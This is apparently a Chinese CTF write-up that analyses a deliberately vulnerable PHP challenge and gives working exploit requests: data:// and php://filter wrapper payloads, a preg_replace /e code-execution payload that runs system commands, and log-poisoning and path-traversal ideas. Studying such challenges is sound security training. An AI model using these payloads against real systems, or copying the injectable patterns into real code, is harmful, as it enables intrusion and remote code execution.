<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>分析这串PHP代码

🔍 代码功能分析

  1. 错误报告关闭​:error_reporting(0) 会关闭所有错误显示,这增加了攻击的难度,因为不会暴露内部信息。
  2. 获取参数​:通过$_GET获取textfile两个参数。
  3. 条件检查​:
    • 检查text参数是否存在,并且通过file_get_contents($text, 'r')读取的内容必须严格等于字符串"I have a dream"
    • 如果条件满足,代码会输出该字符串(用HTML包装),然后检查file参数是否包含子字符串"flag"(使用preg_match)。如果包含,则输出"Not now!"并终止脚本。
    • 如果不包含"flag",则使用include($file)包含文件(注释提示为next.php)。
  4. 默认行为​:如果条件不满足,则使用highlight_file(__FILE__)显示当前文件的源代码。

这段PHP代码是一个典型的安全挑战,涉及文件包含和条件绕过。下面我将详细分析代码的功能、潜在漏洞,以及可能的利用方法。代码整体上要求通过特定条件才能进入文件包含环节,而文件包含参数存在安全限制。

🔍 代码功能分析

  1. 错误报告关闭​:error_reporting(0) 会关闭所有错误显示,这增加了攻击的难度,因为不会暴露内部信息。
  2. 获取参数​:通过$_GET获取textfile两个参数。
  3. 条件检查​:
    • 检查text参数是否存在,并且通过file_get_contents($text, 'r')读取的内容必须严格等于字符串"I have a dream"
    • 如果条件满足,代码会输出该字符串(用HTML包装),然后检查file参数是否包含子字符串"flag"(使用preg_match)。如果包含,则输出"Not now!"并终止脚本。
    • 如果不包含"flag",则使用include($file)包含文件(注释提示为next.php)。
  4. 默认行为​:如果条件不满足,则使用highlight_file(__FILE__)显示当前文件的源代码。

💥 潜在漏洞与利用思路

1. 满足 text 参数的条件

为了通过初始检查,你需要让file_get_contents($text, 'r')返回 exactly "I have a dream"。由于$text用户可控,常见方法是使用PHP的数据流包装器(如data://)来直接控制内容:

  • Payloadtext=data://text/plain,I have a dream
  • 注意: 在URL中,空格需要编码为%20,所以实际请求中应写为text=data://text/plain,I%20have%20a%20dream
  • 原理data://协议允许直接嵌入数据作为输入流。file_get_contents会读取该数据流的内容,从而满足条件。​
  • data://:告诉PHP,我们要使用data伪协议。
  • text/plain:定义了后面所附数据的类型是纯文本。
  • ,:分隔符,前面是元信息(类型),后面是具体数据。
  • I have a dream:这才是真正要被读取的数据内容
  • 那第一步为什么不能直接/?text=I%20have%20a%20dream,而是要用data://
  • 简单来说,直接使用 /?text=I%20have%20a%20dream 之所以不行,是因为 file_get_contents() 函数期望的是一个文件名或资源路径,而不是一个直接的字符串。当你传入一个普通字符串时,PHP会把它当作文件路径去尝试打开,而不是其内容本身。

    file_get_contents() 函数的核心作用是读取一个文件(或资源)的内容,并将其作为字符串返回

    。它的参数 $filename 期望的是一个指向某个资源的路径或标识符。
2. 利用 file 参数进行文件包含

条件满足后,代码会包含$file指定的文件。但存在以下限制和机会:

  • 限制: 如果$file包含子字符串"flag",脚本会终止。这防止了直接包含如flag.php的文件。
  • 机会include函数在PHP中可能导致本地文件包含(LFI)或远程文件包含(RFI),如果服务器配置允许(如allow_url_include启用)。但RFI通常默认关闭,因此重点在LFI。
可能的利用方向:
  • 读取 next.php 源代码: 既然注释提示include($file)意在包含next.php,你可以使用php://filter包装器读取其源代码,而不触发"flag"检查:

    • Payloadfile=php://filter/read=convert.base64-encode/resource=next.php
    • 原理php://filter可以对资源进行编码处理。这里将next.php内容Base64编码后输出,而非直接执行。你收到Base64字符串后解码即可得到源代码。
    • 注意$file值不包含"flag",可绕过检查。
  • 尝试执行代码或包含其他文件: 如果allow_url_include启用(虽不常见),可尝试用data://执行代码。但需确保Payload中不包含"flag"字符串:

    • 示例file=data://text/plain,<?php system('cat /tmp/test');?>(命令中避免"flag")。
    • 注意: 此举可能成功执行系统命令,但需服务器配置允许且Payload精心构造。
  • 路径遍历或日志注入: 若上述方法不行,可尝试包含系统文件(如/etc/passwd)或日志文件(如Apache的access.log),但需已知路径且日志中注入过PHP代码

    :
    • Payloadfile=../../../../var/log/apache2/access.log
    • 风险: 路径不确定且可能包含困难。
  • 那第二步为什么不能直接file=next.php读取?
  • 因为include($file)​:会将文件内容作为 ​PHP 代码来解析和执行。php://filter​:只是将文件内容作为 ​普通的文本数据流来读取。

?text=data://text/plain,I%20have%20a%20dream

&file=php://filter/read=convert.base64-encode/resource=next.php

base64解码,分析next.php内容

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}
这是读取了next.php以后的内容,解析一下

它包含一个利用 preg_replace 中 /e 修饰符的代码执行漏洞。最终目标是触发 getFlag() 函数,通过 cmd 参数执行任意代码(例如查看 flag)。

下面是对代码的解析、漏洞原理及利用方法的详细说明。

🔍 代码结构与流程

代码部分 功能说明
$id = $_GET['id']; 从 GET 参数中获取 id 的值。
$_SESSION['id'] = $id; 将 id 的值存入 Session(此部分在本漏洞利用中通常无关紧要)。
function complex($re, $str) 核心函数。使用 preg_replace 并设置了 ​/e 修饰符,这会使替换字符串被当作 PHP 代码执行。
foreach($_GET as $re => $str) 循环遍历 ​所有 GET 参数,将参数名作为 $re(正则表达式),参数值作为 $str(要处理的字符串),并调用 complex 函数。
function getFlag() 一个危险函数,内部用 eval($_GET['cmd']) 执行通过 cmd 参数传入的任意 PHP 代码。

漏洞的核心在于 complex 函数中的这行代码:此漏洞的根源在于使用了不安全的 /e 修饰符。

/e 修饰符​:这是一个在 ​PHP 5.x​ 版本中存在(PHP 7.0 及以上版本已移除)的特殊修饰符。它的作用是让 preg_replace 将替换字符串(第二个参数)当作 PHP 代码来执行**​。

反向引用 \\1​:在正则表达式中,\\1 表示对第一个捕获组(即第一个括号 ( ) 内匹配到的内容)的引用。

双引号的重要性​:代码中的替换字符串是 'strtolower("\\1")'。由于使用了双引号,字符串内的 \\1 会被先解析为对捕获组的引用,然后整个字符串再被 eval 执行。如果是单引号 '\1',则只会被当作普通字符串,无法利用。

/next.php?\S*=${getFlag()}&cmd=system('cat /flag');

\S 是正则表达式中的预定义字符类,表示匹配任何非空白字符* 表示匹配前面的字符零次或多次。因此,\S* 作为一个整体,意味着 ​​“匹配任意长度的、由非空白字符组成的字符串”

成功!

小结:

1.学会用data://伪协议绕过file_get_contents

2.用php://filter/read=convert.base64-encode/resource=伪协议实现绕过PHP直接执行,打印出源码

3.linux命令运用,cmd传参,了解到PHP会自动将传入的参数名($_GET$_POST 等数组的键)中的一些特殊字符转换为下划线 _

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐